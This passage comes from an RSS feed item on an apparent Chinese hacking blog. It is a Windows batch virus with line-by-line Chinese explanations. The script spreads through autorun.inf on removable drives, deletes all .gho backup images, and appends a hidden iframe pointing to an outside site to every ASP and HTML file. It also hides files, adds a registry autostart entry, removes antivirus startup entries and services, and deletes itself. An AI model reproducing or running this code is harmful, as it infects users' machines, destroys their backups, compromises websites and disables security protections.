//find是查询字符串的一个命令，/i参数表示不区分大小写<br />
if errorlevel==1 goto next<br />
//if errorlevel==1 表示如果出错则执行的命令，goto是跳转语句，会跳转到以:next为行号的地方继续。这里如果出错就表示上面for循环的执行结果没发现一个带有“可移动驱动器”的盘符<br />
if errorlevel==0 goto cop<br />
:cop<br />
for /f &#8220;tokens=1&#8243; %%i in (&#8216;findstr /i &#8220;可移动驱动器&#8221; %systemroot%\temp.txt&#8217;) do @set yidong=%%i<br />
//tokens＝1 把for分作一列。单引号表示是in里面的语句，不能省略。do后面是要执行的语句，set是赋值语句，将变量%%i赋值为环境变量yidong。</p>
<p>REM 向可移动硬盘内复制病毒<br />
copy bat.exe %yidong%\ /y<br />
//注意yidong由于已经是一个环境变量以后应用需要用成对的%%括起来。 /y 参数表示不提示确认。<br />
copy muma.com %yidong%\ /y<br />
attrib +s +h %yidong%\muma.com<br />
attrib +s +h %yidong%\bat.exe<br />
if exist %yidong%\autorun.inf (<br />
attrib -a -s -h %yidong%\autorun.inf<br />
del %yidong%\autorun.inf)<br />
//如果存在autorun.inf则执行括号里面的内容。<br />
echo [AutoRun]&gt;%yidong%\Autorun.inf<br />
echo shell\Open\command=bat.exe&gt;&gt;%yidong%\Autorun.inf<br />
echo shell\Open=打开(^&amp;O)<br />
echo shell\explore=资源管理器(^&amp;X)&gt;&gt;%yidong%\Autorun.inf<br />
//^符号是转义字符，表示后面的&amp;符号失去连接意义。这里加&amp;是加粗显示的用途。<br />
echo shell\explorer\command=bat.exe&gt;&gt;%yidong%\Autorun.inf<br />
attrib +s +h %yidong%\Autorun.inf<br />
del %systemroot%temp.txt /q /f<br />
//删除用于存放临时信息的文件<br />
:next<br />
REM 循环遍历磁盘，自动删除*.gho文件<br />
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (<br />
if exist %%a:\nul(<br />
for /f &#8220;tokens=*&#8221; %%b in (&#8216;dir /s/b/a-d %%a:\*.gho&#8217;) do del &#8220;%%b&#8221; /q /f<br />
))<br />
//这里是对各个磁盘的gho文件进行查找，一旦发现即删除</p>
<p>REM 循环遍历磁盘，自动对ASP，ASPX插入网页木马代码<br />
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (<br />
if exist %%a:\nul(<br />
for /f &#8220;tokens=*&#8221; %%b in (&#8216;dir /s/b/a-d %%a:\*.asp&#8217;) do (echo ^&lt;iframe src=&#8221;<a href="http://www.xxx.com">http://www.xxx.com</a>&#8221; width=0 height=0 border=0^&gt;^&lt;/iframe^&gt;&gt;&gt; &#8220;%%b&#8221;)<br />
))<br />
REM 循环遍历磁盘，自动对HTM，HTML插入网页木马代码<br />
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (<br />
if exist %%a:\nul (<br />
for /f &#8220;tokens=*&#8221; %%b in (&#8216;dir /s/b/a-d %%a:\*.htm&#8217;) do (echo ^&lt;iframe src=&#8221;<a href="http://www.xxx.com">http://www.xxx.com</a>&#8221; width=0 height=0 border=0^&gt;^&lt;/iframe^&gt;&gt;&gt; &#8220;%%b&#8221;)<br />
))<br />
REM 修改注册表不显示隐藏文件<br />
REG ADD &#8220;HKEY_LOCALMACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL&#8221; /v &#8220;CheckedValue&#8221; /t REG_DWORD /d 0 /f<br />
REM 添加注册表自启动项<br />
REG ADD &#8220;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&#8221; /v type /t REG_EXPAND_SZ /d &#8220;c:\Windows\system32\bat.exe&#8221; /f<br />
//REG ADD是对注册表进行添加操作， /v后面跟项的名称 /t后面跟数据类型 /f表示强制操作不提示<br />
REM 删除安全软件在注册表中的键值<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RavTask /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KvMonXP /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kav /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KAVPersonal50 /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v McAfeeUpdaterUI /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v &#8220;Network Associates Error RePorting Service&#8221; /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ShStartEXE /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v YLive.exe /f<br />
REG Delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v yassistse /f<br />
REM 删除以下服务<br />
sc delete navapsvc<br />
sc delete wscsvc<br />
sc delete KPfwSvc<br />
sc delete SNDSrvc<br />
sc delete ccProxy<br />
sc delete ccEvtMgr<br />
sc delete ccSetMgr<br />
sc delete SPBBCSvc<br />
sc delete Symantec Core LC<br />
sc delete NPFMntor<br />
sc delete MskService<br />
sc delete FireSvc<br />
del muma.com<br />
del bat.vbs<br />
del %O<br />
// %O 是删除自身的意思</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/bat-virus/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

